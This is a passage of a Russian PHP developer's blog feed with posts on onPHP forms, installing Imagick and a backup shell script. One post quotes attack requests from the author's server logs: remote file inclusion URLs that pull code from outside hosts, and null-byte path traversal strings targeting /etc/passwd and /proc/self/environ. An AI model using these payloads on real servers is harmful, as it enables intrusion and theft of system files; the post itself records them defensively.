У <code class="codecolorer php default"><span class="php">PrimitiveList</span></code> больше нет методов <code class="codecolorer php default"><span class="php">setDefaultAction<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></span></code> и <code class="codecolorer php default"><span class="php">getActualValue</span></code> &#8211; надо просто установить значение <code class="codecolorer php default"><span class="php">setValue<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></span></code>, и оно и будет дефолтным в случае чего, при получении через <code class="codecolorer php default"><span class="php">getChoiceValue<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></span></code>.<br />
<span id="more-413"></span><br />
Небольшой примерчик:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">const</span> ACTION_REGISTRATION <span style="color: #339933;">=</span> <span style="color: #0000ff;">'reg'</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">const</span> ERROR_LOGIN_USED <span style="color: #339933;">=</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 1 и 2 - стандартные ошибки</span><br />
<br />
<span style="color: #339933;">...</span><br />
<br />
<span style="color: #000088;">$form</span> <span style="color: #339933;">=</span> Form<span style="color: #339933;">::</span><span style="color: #004000;">create</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Primitive<span style="color: #339933;">::</span><span style="color: #004000;">string</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #004000;">setAllowedPattern</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/^.{4,}$/is'</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #004000;">add</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Primitive<span style="color: #339933;">::</span><span style="color: #004000;">choice</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #004000;">setList</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$actionList</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// значение по умолчанию</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setValue<span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #004000;">ACTION_REGISTRATION</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">import</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$request</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getGet</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">importMore</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$request</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getPost</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">...</span><br />
<span style="color: #666666; font-style: italic;">// Здесь мы узнаем что такая учетка уже есть</span><br />
<span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">markCustom</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'login'</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #004000;">ERROR_LOGIN_USED</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>И теперь в шаблоне зададим значения для 3х ошибок (можно еще и описания)</p>
<div class="codecolorer-container html4strict vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;?</span><br />
<span style="color: #009900;">$form-&gt;</span>addWrongLabel('login', 'Логин указан неверно');<br />
$form-&gt;addCustomLabel('login', BasePrimitive::MISSING, 'Логин не указан');<br />
$form-&gt;addCustomLabel('login', UserRegistration::ERROR_LOGIN_USED, 'Логин уже зарегистрирован');<br />
// Можно дополнительно задать описание для ошибки<br />
$form-&gt;addErrorDescription('login', UserRegistration::ERROR_LOGIN_USED, 'Выберите другой логин');<br />
// Выводить можно по старинке<br />
foreach($form-&gt;getTextualErrors() as $err) {<br />
&nbsp; &nbsp; ?&gt;<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/p.html"><span style="color: #000000; font-weight: bold;">p</span></a>&gt;&lt;?<span style="color: #66cc66;">=</span>$err?&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/p.html"><span style="color: #000000; font-weight: bold;">p</span></a>&gt;&lt;?</span><br />
<span style="color: #009900;"><span style="color: #66cc66;">&#125;</span></span><br />
<span style="color: #009900;"><span style="color: #66cc66;">//</span> А можно рядом с необходимым полем:</span><br />
<span style="color: #009900;">?&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/p.html"><span style="color: #000000; font-weight: bold;">p</span></a>&gt;&lt;?<span style="color: #66cc66;">=</span>$form-&gt;</span>getTextualErrorFor('login')?&gt;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/p.html"><span style="color: #000000; font-weight: bold;">p</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/p.html"><span style="color: #000000; font-weight: bold;">p</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;description&quot;</span>&gt;&lt;?<span style="color: #66cc66;">=</span>$form-&gt;</span>getErrorDescriptionFor('login')?&gt;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/p.html"><span style="color: #000000; font-weight: bold;">p</span></a>&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/onphp-1-1-forms/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hacking часть I</title>
		<link>http://svdev.ru/blog/hacking-part-1/</link>
		<comments>http://svdev.ru/blog/hacking-part-1/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 10:00:48 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[hack attempt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/blog/hacking-%d1%87%d0%b0%d1%81%d1%82%d1%8c-i/</guid>
		<description><![CDATA[Обнаружил в логах довольно забавную картину по поиску слабых мест  
client: 83.168.217.53, server: ***, request: &#34;GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&#38;a=resume&#38;id=846 HTTP/1.0&#34;
Ну и дальше вместо всех переменных пробуем подставлять:
/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00
Что самое интересное &#8211; откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.
А вот ходят по другому поводу
client: 203.237.238.234, server: ***, request: &#34;GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&#34;

client: 203.237.238.234, [...]]]></description>
			<content:encoded><![CDATA[<p>Обнаружил в логах довольно забавную картину по поиску слабых мест <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 83.168.217.53, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&amp;a=resume&amp;id=846 HTTP/1.0&quot;</span></div></div>
<p>Ну и дальше вместо всех переменных пробуем подставлять:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>self<span style="color: #000000; font-weight: bold;">/</span>environ<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>self<span style="color: #000000; font-weight: bold;">/</span>environ<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00<br />
..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00<br />
<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>passwd<span style="color: #000000; font-weight: bold;">%</span>00</div></div>
<p>Что самое интересное &#8211; откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.</p>
<p>А вот ходят по другому поводу</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 203.237.238.234, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&quot;</span><br />
<br />
client: 203.237.238.234, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1&quot;</span></div></div>
<p>Интересно, что за сканер такой, или руками?</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hacking-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP библиотека GD в debian сборке или выкидываем GD на помойку</title>
		<link>http://svdev.ru/blog/php-gd-debian-trouble/</link>
		<comments>http://svdev.ru/blog/php-gd-debian-trouble/#comments</comments>
		<pubDate>Thu, 24 Dec 2009 00:34:00 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[ImageMagick]]></category>
		<category><![CDATA[Imagick]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=399</guid>
		<description><![CDATA[В ходе работы выяснилась неприятная вещь &#8211; в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение &#8211; ImageMagick и PHP обертка для нее Imagick.
Собственно давно уже пора переходить на её использование:

быстрее
возможность выбора различных фильтров при ресайзе
ОО [...]]]></description>
			<content:encoded><![CDATA[<p>В ходе работы выяснилась неприятная вещь &#8211; в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/imagerotate"><span style="color: #990000;">imagerotate</span></a></span></code>. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение &#8211; <a href="http://www.imagemagick.org/" target="_blank">ImageMagick</a> и PHP обертка для нее <strong><a href="http://pecl.php.net/package/imagick" target="_blank">Imagick</a></strong>.<br />
Собственно давно уже пора переходить на её использование:</p>
<ul>
<li>быстрее</li>
<li>возможность выбора различных фильтров при ресайзе</li>
<li>ОО интерфейс</li>
<li>нет необходимости заморачиваться с типами файлов &#8211; все уже сделано за нас</li>
<li>эксепшены вместо ошибок</li>
</ul>
<p>Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.<br />
<span id="more-399"></span><br />
Поставим её.</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> imagemagick<br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> php-pear<br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> pecl <span style="color: #c20cb9; font-weight: bold;">install</span> imagick</div></div>
<p>Если второй шаг завершится ошибкой, вроде этой: <code class="codecolorer bash default"><span class="bash">ERROR: <span style="color: #000000; font-weight: bold;">`</span>phpize<span style="color: #ff0000;">' failed</span></span></code> то необходимо установить:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> php5-dev</div></div>
<p>и повторить установку <strong>Imagick</strong>, при возникновении ошибки <code class="codecolorer bash default"><span class="bash">ERROR: <span style="color: #000000; font-weight: bold;">`/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>pear<span style="color: #000000; font-weight: bold;">/</span>temp<span style="color: #000000; font-weight: bold;">/</span>imagick<span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #660033;">--with-imagick</span><span style="color: #ff0000;">' failed</span></span></code> необходимо дополнительно установить:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># для debian:</span><br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> libmagick9-dev<br />
<span style="color: #666666; font-style: italic;"># для убунты:</span><br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> libmagickwand-dev</div></div>
<p>Теперь <strong>Imagick</strong> должен точно встать, если нет &#8211; то дальше в Google.<br />
Осталось только прописать новую либу в php.ini:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #007800;">extension</span>=imagick.so</div></div>
<p><a href="http://www.php.net/manual/en/book.imagick.php" target="_blank">http://www.php.net/manual/en/book.imagick.php</a> &#8211; дока по <strong>Imagick</strong><br />
<a href="http://valokuva.org/?cat=1" target="_blank">http://valokuva.org/?cat=1</a> &#8211; блог с полезными и познавательными примерами использования <strong>Imagick</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/php-gd-debian-trouble/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backup проекта, часть 2</title>
		<link>http://svdev.ru/blog/backup-advanced/</link>
		<comments>http://svdev.ru/blog/backup-advanced/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 17:54:40 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=391</guid>
		<description><![CDATA[Немного ранее, был представлен SHELL скрипт резервного сохранения данных проекта. При наличии нескольких проектов хочется каким-то образом систематизировать этот процесс, для облегчения подключения новых проектов к резервному копированию, кроме как плодить файлы с дублированием кода, учитывая тот факт, что со временем может измениться логика выполняемых действий или настройки подключения к БД/FTP серверу.
Вынесем общую логику в [...]]]></description>
			<content:encoded><![CDATA[<p>Немного ранее, был представлен <a href="/blog/backup-simple/">SHELL скрипт резервного сохранения данных проекта</a>. При наличии нескольких проектов хочется каким-то образом систематизировать этот процесс, для облегчения подключения новых проектов к резервному копированию, кроме как плодить файлы с дублированием кода, учитывая тот факт, что со временем может измениться логика выполняемых действий или настройки подключения к БД/FTP серверу.</p>
<p>Вынесем общую логику в отдельный скрипт, а индивидуальные данные проекта, такие как имя БД и загружаемые файлы в конфигурационный файл для каждого проекта.<br />
<span id="more-391"></span><br />
Для получения дампа БД, если проекты на сервере используют один сервер, но различные базы удобно создать отдельного пользователя для нашего скрипта и дать ему права на чтение и блокировку таблиц необходимых БД:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">CREATE</span> USER backup@localhost <span style="color: #993333; font-weight: bold;">IDENTIFIED</span> <span style="color: #993333; font-weight: bold;">BY</span> &nbsp;<span style="color: #ff0000;">'dbpassword'</span>;<br />
<span style="color: #993333; font-weight: bold;">GRANT</span> <span style="color: #993333; font-weight: bold;">SELECT</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">LOCK</span> <span style="color: #993333; font-weight: bold;">TABLES</span> <span style="color: #993333; font-weight: bold;">ON</span> &nbsp;svdev<span style="color: #66cc66;">.*</span> <span style="color: #993333; font-weight: bold;">TO</span> &nbsp;backup@localhost;</div></div>
<p>Далее немного модифицируем <a href="/blog/backup-simple/">скрипт из предыдущей</a> части для подключения настроек. Так же проект может не использовать БД или использовать совместно с другим проектом, в этом случае достаточно сохранить её один раз &#8211; такая возможность так же реализована. Вот что получилось в итоге:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<br />
<span style="color: #666666; font-style: italic;">#Данные для подключения к БД</span><br />
<br />
<span style="color: #007800;">DBUSER</span>=<span style="color: #ff0000;">&quot;backup&quot;</span><br />
<span style="color: #007800;">DBPASS</span>=<span style="color: #ff0000;">&quot;dbpassword&quot;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># FTP для сохранения данных</span><br />
<span style="color: #007800;">FTPUSER</span>=<span style="color: #ff0000;">'ftpuser'</span><br />
<span style="color: #007800;">FTPHOST</span>=<span style="color: #ff0000;">'ftphost'</span><br />
<span style="color: #007800;">FTPPASS</span>=<span style="color: #ff0000;">'ftppassword'</span><br />
<br />
<span style="color: #666666; font-style: italic;"># Путь на FTP где хранятся бэкапы, общая директория,</span><br />
<span style="color: #666666; font-style: italic;"># в которой для каждого проекта есть поддиректория,</span><br />
<span style="color: #666666; font-style: italic;"># путь от домашней директории пользователя FTP</span><br />
<span style="color: #007800;">FTPPATH</span>=<span style="color: #ff0000;">&quot;./&quot;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># Дата, для именования файла бэкапа в формате YYYY.MM.DD</span><br />
<span style="color: #007800;">DT</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #ff0000;">'+%Y.%m.%d'</span><span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #666666; font-style: italic;"># Временная директория для хранения файлов</span><br />
<span style="color: #007800;">TEMPDIR</span>=<span style="color: #ff0000;">&quot;/tmp/backup-&quot;</span><span style="color: #007800;">$DT</span><span style="color: #ff0000;">&quot;/&quot;</span><br />
<span style="color: #007800;">SQLFILE</span>=<span style="color: #ff0000;">&quot;dump.sql&quot;</span><br />
<span style="color: #666666; font-style: italic;"># Файл архива</span><br />
<span style="color: #007800;">DESTFILE</span>=<span style="color: #007800;">$DT</span><span style="color: #ff0000;">&quot;.tar&quot;</span><br />
<br />
<span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #007800;">$TEMPDIR</span><br />
<span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #007800;">$TEMPDIR</span><br />
<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Начало резервного копирования: &quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #ff0000;">'+%F %T'</span><span style="color: #000000; font-weight: bold;">`</span><br />
<br />
<span style="color: #666666; font-style: italic;"># Если все проекты находятся в директории /var/www то для каждого, который</span><br />
<span style="color: #666666; font-style: italic;"># необходимо сохранить должен быть файл backup.conf</span><br />
<span style="color: #000000; font-weight: bold;">for</span> CONFIG <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www <span style="color: #660033;">-mindepth</span> 2 <span style="color: #660033;">-maxdepth</span> 2 <span style="color: #660033;">-name</span> backup.conf<span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp; &nbsp; . <span style="color: #007800;">$CONFIG</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># Если в конфиге установлено имя БД, до делаем её дамп</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># и добавляем в архив</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-z</span> <span style="color: #007800;">$DBNAME</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; mysqldump <span style="color: #660033;">--user</span>=<span style="color: #007800;">$DBUSER</span> <span style="color: #660033;">--password</span>=<span style="color: #007800;">$DBPASS</span> <span style="color: #007800;">$DBNAME</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$SQLFILE</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #007800;">TARFILES</span>=<span style="color: #007800;">$TARFILES</span><span style="color: #ff0000;">&quot; -C &quot;</span><span style="color: #007800;">$TEMPDIR</span><span style="color: #ff0000;">&quot; &quot;</span><span style="color: #007800;">$SQLFILE</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-cf</span> <span style="color: #007800;">$DESTFILE</span> <span style="color: #007800;">$TARFILES</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">gzip</span> <span style="color: #660033;">-9</span> <span style="color: #007800;">$DESTFILE</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># Отправляем полученный архив на FTP; не забываем</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># включить бинарный режим передачи, иначе архивы побъются </span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">ftp</span> <span style="color: #660033;">-n</span> <span style="color: #007800;">$FTPHOST</span> <span style="color: #000000; font-weight: bold;">&lt;&lt;</span>EOF<br />
&nbsp; &nbsp; quote USER <span style="color: #007800;">$FTPUSER</span><br />
&nbsp; &nbsp; quote PASS <span style="color: #007800;">$FTPPASS</span> &nbsp; &nbsp;<br />
&nbsp; &nbsp; binary <br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #007800;">$FTPPATH</span><span style="color: #007800;">$PROJECTNAME</span><br />
&nbsp; &nbsp; put <span style="color: #007800;">$DESTFILE</span><span style="color: #ff0000;">&quot;.gz&quot;</span><br />
&nbsp; &nbsp; quit<br />
&nbsp; &nbsp; EOF<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot; - &quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #ff0000;">'+%F %T'</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #ff0000;">&quot; проект &quot;</span><span style="color: #007800;">$PROJECTNAME</span><span style="color: #ff0000;">&quot; сохранен, размер архива &quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">stat</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">%</span>s <span style="color: #007800;">$DESTFILE</span><span style="color: #ff0000;">'.gz'</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #ff0000;">&quot; байт;&quot;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># Удаляем за собой все файлы</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">for</span> TFILE <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$TEMPDIR</span><span style="color: #ff0000;">&quot;/*&quot;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> <span style="color: #007800;">$TFILE</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">done</span><br />
<span style="color: #000000; font-weight: bold;">done</span><br />
<br />
<span style="color: #666666; font-style: italic;"># Удаляем за собой временную директорию</span><br />
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> <span style="color: #007800;">$TEMPDIR</span></div></div>
<p>Полученный файл назовем <code class="codecolorer bash default"><span class="bash">sites-backup</span></code> и положим его в <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.daily<span style="color: #000000; font-weight: bold;">/</span></span></code> таким образом он будет запускаться один раз в сутки, вместе с остальными служебными скриптами, такими как ротация логов и другие. Для пущей надежности права на файл лучше дать 700 и сделать владельцем рута:</p>
